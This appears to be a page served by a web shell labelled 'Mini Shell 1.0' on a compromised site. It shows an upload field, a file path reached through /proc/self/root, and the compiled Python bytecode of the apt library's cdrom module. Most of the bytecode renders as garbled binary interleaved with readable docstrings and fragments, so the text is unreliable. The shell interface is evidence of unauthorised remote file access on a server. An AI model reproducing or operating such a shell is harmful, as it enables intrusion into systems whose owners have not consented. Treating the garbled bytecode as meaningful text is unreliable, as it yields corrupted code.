HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /proc/self/root/usr/lib/python3/dist-packages/apt/__pycache__/
Upload File :
Current File : //proc/self/root/usr/lib/python3/dist-packages/apt/__pycache__/cdrom.cpython-311.pyc
�

�xkdu
��d�dZddlmZddlmZddlZddlZddlmZGd�dej	��Z	dS)z"Classes related to cdrom handling.�)�print_function)�OptionalN)�
CdromProgressc�@�eZdZdZdd�Zd	d�Zd	d�Zed���ZdS)
�Cdroma;Support for apt-cdrom like features.

    This class has several optional parameters for initialisation, which may
    be used to influence the behaviour of the object:

    The optional parameter `progress` is a CdromProgress() subclass, which will
    ask for the correct cdrom, etc. If not specified or None, a CdromProgress()
    object will be used.

    The optional parameter `mountpoint` may be used to specify an alternative
    mountpoint.

    If the optional parameter `nomount` is True, the cdroms will not be
    mounted. This is the default behaviour.
    NTc�J�tj�|��|�t��|_n||_|� tj�d|��|r"tj�dd��dStj�dd��dS)NzAcquire::cdrom::mountzAPT::CDROM::NoMount�true�false)�apt_pkgr�__init__r�	_progress�config�set)�self�progress�
mountpoint�nomounts    �+/usr/lib/python3/dist-packages/apt/cdrom.pyrzCdrom.__init__1s����
���t�$�$�$���*�_�_�D�N�N�%�D�N��!��N���6�
�C�C�C��	?��N���4�f�=�=�=�=�=��N���4�g�>�>�>�>�>�c�P�tj�||p|j��S)zAdd cdrom to the sources.list.)rr�addr
�rrs  rrz	Cdrom.addAs#���}� � ��x�'A�4�>�B�B�Brc�P�tj�||p|j��S)zIdentify the cdrom.)rr�identr
rs  rrzCdrom.identFs#���}�"�"�4��)C�T�^�D�D�Drc���|���}|�dStjtj�d��dz��}|�tj�d����|D]i}t|��5}|D]<}|����	d��s||vrddd��dS�=	ddd��n#1swxYwY�jdS)z:Check if the cdrom is already in the current sources.list.NFzDir::Etc::sourceparts�*zDir::Etc::sourcelist�#T)
r�globrr�find_dir�append�	find_file�open�lstrip�
startswith)r�cd_id�src�fname�fobj�lines      r�in_sources_listzCdrom.in_sources_listKsC���
�
�����=��5��i���/�/�0G�H�H�3�N�O�O���
�
�7�>�+�+�,B�C�C�D�D�D��	$�	$�E��e���
$�� �$�$�D��;�;�=�=�3�3�C�8�8�$�U�d�]�]�#�
$�
$�
$�
$�
$�
$�
$�
$�
$��$�
$�
$�
$�
$�
$�
$�
$�
$�
$�
$�
$����
$�
$�
$�
$���us�1C�C�C#	�&C#	)NNT)N)	�__name__�
__module__�__qualname__�__doc__rrr�propertyr*�rrrr s}�������� ?�?�?�?� C�C�C�C�
E�E�E�E�
����X���rr)
r.�
__future__r�typingrrr�apt.progress.baserrr0rr�<module>r4s���,)�(�%�%�%�%�%�%���������������+�+�+�+�+�+�<�<�<�<�<�G�M�<�<�<�<�<r